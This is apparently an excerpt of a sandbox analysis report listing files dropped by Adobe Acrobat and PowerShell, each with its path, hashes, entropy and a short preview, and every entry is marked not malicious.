SSDEEP:	6:YEQXJ2HXj7tNh12vB3/dVlPIHAR0Y7oAvJf21rPeUkwRe9:YvXKXHtNf2vR/ZwHAwG+16Ukee9
MD5:	B45781CCEAEFA8D6C1B75BEA41603479
SHA1:	1F4A81382BA1DC2BBD8283E42444A3ED7E6F6609
SHA-256:	E1D73D33573131C9293AA3C90B63E140620BD0B671D81DDAD0ACE6B7A3739C30
SHA-512:	A1FA73168E29FB5068697FA488E7266DC0946EC4D367BEC9FB6183B38656EEC834603022629DC10CC16388DA04ED7D8A5D2F0484C7EF9E0F258703D9EDAD1151
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d9c94ead-8609-4dfd-90be-084a327a0f66","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736690586492,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.657975488837818
Encrypted:	false
SSDEEP:	24:Yv6XNl2JhhamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSa:Yv7JhtBgkDMUJUAh8cvMa
MD5:	FA4E4314928D61DCA9A08D2264334647
SHA1:	0AD82CBDA1583BB04E289AB5DBEA18D5F6F69294
SHA-256:	52308B77040C896E26D1A672B0F1F2A4A3652534CD02628851FD629DB7DB2E92
SHA-512:	8BE7807527F7A0AAA0153F5B7FDACA7747CAFAF94F6CB469B713979721CD8AB49723AE4E4541D0DFC20BA5E16C22518FF096F655377ECC71CE3F35482DF153E5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d9c94ead-8609-4dfd-90be-084a327a0f66","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736690586492,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.212527331596894
Encrypted:	false
SSDEEP:	6:YEQXJ2HXj7tNh12vB3/dVlPIHAR0Y7oAvJfshHHrPeUkwRe9:YvXKXHtNf2vR/ZwHAwGUUUkee9
MD5:	7645B81CA93503147E0DA0EF3A94B121
SHA1:	9B5E685604392ABEFD11864B3E519534A758E749
SHA-256:	EF5D464A68B68A73F1D04A7E4764D72D7FABCC70F7B7D9B280A25502C56E1F44
SHA-512:	C686C09296CE013B2151B4FF39EE280B8C6854F0CC262E43B36DC174C4359B683EBFAA45946E7A6DC007A75E70FB6F5C217E0319263E37BC3B406D3581B10A5A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d9c94ead-8609-4dfd-90be-084a327a0f66","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736690586492,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.231898072665273
Encrypted:	false
SSDEEP:	6:YEQXJ2HXj7tNh12vB3/dVlPIHAR0Y7oAvJTqgFCrPeUkwRe9:YvXKXHtNf2vR/ZwHAwGTq16Ukee9
MD5:	9327B4B09CB06220EC05BD2DB465BFC7
SHA1:	44954393EA81BA80E5151D0E9EC67E6507B0AF06
SHA-256:	BAC99C5575F192EB88F6EEC4D51B81F3A63C558958DFE2509E44195E0BDD13EE
SHA-512:	C1B76794D37B6A2096979F5F70CE458FF17A7B319FDBE57EF32F5976319C9762B32262513F9C47628EE3B25323765FD4903F1C7690243225EFD222476590429F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d9c94ead-8609-4dfd-90be-084a327a0f66","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736690586492,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.1299908580899825
Encrypted:	false
SSDEEP:	24:YgO8iayd3ay6J9JJolCJqcPrmJ75RlJcjQsj0SAJ6PlJgISOJSLphJ/202d2LSAN:YgOBdhMrGCQ+ajZb2dH7Q4MgMp9N9
MD5:	C508775BAB9F7A115E9EFD8D5C85B90B
SHA1:	E13042E3C72FA46ED8B3DCCA13E5EE19C46FEBF2
SHA-256:	2FAB00511E3299E50D1070721486CCF76CE43A7677313106BC435B613B81F0A4
SHA-512:	DB954EBB591E65F65CA9E280FC0DE71C12F21963D8E92AF2074B1A134831EFBB6DEEF07A7C6CFB9017830F9BB63E44908361EE4BD95759EFF47E3831FA597FB9
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"0487ab14f8733e558725d772b04b7d0d","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736516901000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"42bbc08aa93166c738fbd710385cb6f5","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736516900000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"28499ca2053437638abec09b1647ef81","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736516900000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"a354b65967163430f2c5189d447c0ee9","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736516900000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"324079b13d9f3674effa0b07037cd536","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736516900000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"e608833771773d631e9116aff65f000d","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3186555946536425
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9Ohn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMeftqVpam:TGufl2GL7ms9WR1CPmPbPahVypilI7
MD5:	035C3284C058E7253A315F7538377E70
SHA1:	14FD01FC673E4BAE082DD6F85BD82DE74652019F
SHA-256:	3E881050B0DA493D0C7B1A66CDDE5E4BC73CE3E52CEA15CE0439E6629ABC5234
SHA-512:	2E8EB224BE659BC9B1E77A6BF216115CD5EC89644CAB08508FF6B5A9149E4212A28E57925E06962D12CDCF88408BA516E1672B9EDD39073A38AB21A372C25DBA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7790172817878152
Encrypted:	false
SSDEEP:	48:7MDvWR1CPmPbPahQypilI5qFl2GL7msnn:7OvWfMwbPahQIKVmsn
MD5:	597D14D7ECCC79A659C9B1CCA99D8929
SHA1:	66A3D0BF9055350885DDC2CEF34BD05595FFD71B
SHA-256:	E944BE291838B6DDDF884B8B8958CFCF60554C9B4C98FD2FE99608E632ABBA3D
SHA-512:	47AC524340037AC5B1B4E5BAC66ABFF8F0705C9DDA9AB50C5B5EE9DC930AAAE2668D1A047E8D698E2391F9E9760808B6681286D59A8444E608B11EBB5DD2BD24
Malicious:	false
Preview:	.... .c.....I.T...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgO+KOa1zWRv8/aZJgj3iO4a1EYyu:6a6TZ44ADEO+KOaZyvPe1EK
MD5:	9EB94623CB19E1D4B1222FB6FBAAC6B9
SHA1:	A995DC6A6AB31441D3503139596B09E497BA4B90
SHA-256:	5CD5B0639AE07C05608FDB7537D436988C5DE620279E0A4A616F8582A525EF81
SHA-512:	2B0681FB5B569FDE8D70788CFF0C8ABBF41AC14733FAB4A592B0676F22DEB5ACB392F6E70F5E3056592A78C97B39C01423F6CDC2ED553FE49200E0876E419AC6
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulxmH/lZ:NllUg
MD5:	D904BDD752B6F23D81E93ECA3BD8E0F3
SHA1:	026D8B0D0F79861746760B0431AD46BAD2A01676
SHA-256:	B393D3CEC8368794972E4ADD978B455A2F5BD37E3A116264DBED14DC8C67D6F2
SHA-512:	5B862B7F0BCCEF48E6A5A270C3F6271D7A5002465EAF347C6A266365F1B2CD3D88144C043D826D3456AA43484124D619BF16F9AEAB1F706463F553EE24CB5740
Malicious:	false
Preview:	@...e................................. ..............@..........

C:\Users\user\AppData\Local\Temp\MSI25ebd.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.524398495091119
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClgBw:Qw946cPbiOxDlbYnuRK+brw
MD5:	35BC172BB1788560929B8A555DF89AB2
SHA1:	CE8F2BED4131529D2BC73ABD7D9215DAAA9CF56B
SHA-256:	00FE67573F937610EA085459F270BFCBFBC9D710477299D03CA9E8D636DA001A
SHA-512:	FF66D85636A5B17025D7656AB0B988B0737802521F81A23C0609176BB9A9E85DA8DFD1C58C05E546892A93A6F137CDE01764C6935440FCCE88F09C97320A5C00
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .0.8.:.4.8.:.1.9. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fl5izh0s.xn4.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ll0pzvsd.gpd.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 08-48-14-235.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.33860678500249
Encrypted:	false
SSDEEP:	384:IC2heaVGJMUPhP80d0Wc+9eG/CCihFomva7RVRkfKhZmWWyC7rjgNgXo6ge5iaW0:X8B
MD5:	C3FEDB046D1699616E22C50131AAF109
SHA1:	C9EEA5A1A16BD2CD8154E8C308C8A336E990CA8D
SHA-256:	EA948BAC75D609B74084113392C9F0615D447B7F4AACA78D818205503EACC3FD
SHA-512:	845CDB5166B35B39215A051144452BEF9161FFD735B3F8BD232FB9A7588BA016F7939D91B62E27D6728686DFA181EFC3F3CC9954B2EDAB7FC73FCCE850915185
Malicious:	false
Preview:	SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:080+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.373190165441195
Encrypted:	false
SSDEEP:	384:7u03s+RpQJkwbCWyZKqLmsbmqh1FTa+ZTgNRTHzDhKyBfNUdLmijT6TKLkSsa3v1:JsC
MD5:	2C88653CAAFFCA509FF8D68319BEE8EF
SHA1:	2532B5F3FE249427B731FE927BAFC5CAC49FFE59
SHA-256:	D0C2A45D5EBC14EBDCE5640D26AC04885A0B29EFC28D538A11E432593105DDD2
SHA-512:	88D2A9918B8BDC54C728DF04F2772C7467932531497B6887C8757C18F1F1D7B55241570A74F446851C8D5131D53FBBBDC57B785231E374EABEB6E89C7EC57607
Malicious:	false
Preview:	SessionID=f5bd5299-c7ba-49de-8552-35051bb57ffb.1736516894260 Timestamp=2025-01-10T08:48:14:260-0500 ThreadID=6952 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=f5bd5299-c7ba-49de-8552-35051bb57ffb.1736516894260 Timestamp=2025-01-10T08:48:14:262-0500 ThreadID=6952 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=f5bd5299-c7ba-49de-8552-35051bb57ffb.1736516894260 Timestamp=2025-01-10T08:48:14:262-0500 ThreadID=6952 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=f5bd5299-c7ba-49de-8552-35051bb57ffb.1736516894260 Timestamp=2025-01-10T08:48:14:262-0500 ThreadID=6952 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=f5bd5299-c7ba-49de-8552-35051bb57ffb.1736516894260 Timestamp=2025-01-10T08:48:14:262-0500 ThreadID=6952 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.408435227684226
Encrypted:	false
SSDEEP:	192:TcbeIewcbVcbqI4ucbrcbQIrJcb6cbCIC4cbsIcbCI8WcbB:ceo4+rsC6x8l
MD5:	4FABAD89A60E799FFE3E581C092B15DE
SHA1:	51204AC5EDA943BA50E69D9A6A629F7298BF2861
SHA-256:	D30DD9CF503B1F7CFAB0260EEB004C1D3B8C9ADC5510444830A2CEAA76310877
SHA-512:	5226DB5E41557D9BD7D62DB462E3E520EB18A05F6B293185F958FA825BF8DFA6582E2693339E44946CBD7A8D7BFF0CDA78CF864B2BEF8A29DD71FB409CB3326F
Malicious:	false
Preview:	05-10-2023 10:18:29:.---2---..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:18:29:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\263cfd8f-c5a0-4c01-9759-75de6c91fd95.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZ7wYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs03WLaGZw
MD5:	8B9FA2EC5118087D19CFDB20DA7C4C26
SHA1:	E32D6A1829B18717EF1455B73E88D36E0410EF93
SHA-256:	4782624EA3A4B3C6EB782689208148B636365AA8E5DAF00814FA9AB722259CBD
SHA-512:	662F8664CC3F4E8356D5F5794074642DB65565D40AC9FEA323E16E84EBD4F961701460A1310CC863D1AB38849E84E2142382F5DB88A0E53F97FF66248230F7B9
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\7567cc41-3673-48e3-93d7-a41130400d20.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\9c21d6b9-102e-4843-80a7-6a2f3e542cc1.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/VZwYIGNPoeWL07oYGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:tZwZG7WLxYGZN3mlind9i4ufFXpAXkru
MD5:	195A8F78B0AFE12D0F706763E89B8192
SHA1:	206F924D2F45BF24BC5702387C9A5DA43B7A5849
SHA-256:	29AD0D7C228AB88E5EA22D0EDB88F52A26B6C66A43ADED883B8FFFB929BD6C7D
SHA-512:	E78A72F66F9C8B509B7D2ED3D15D8AC2BF166FF9EAE0CE8C17220FE25BE49B7BDB7BE6FC75A788A910AE05112F8469C327FD2CD48D6305A9DD6CE9E54BC5E379
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\e44bf440-d191-4104-8e60-963469108057.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
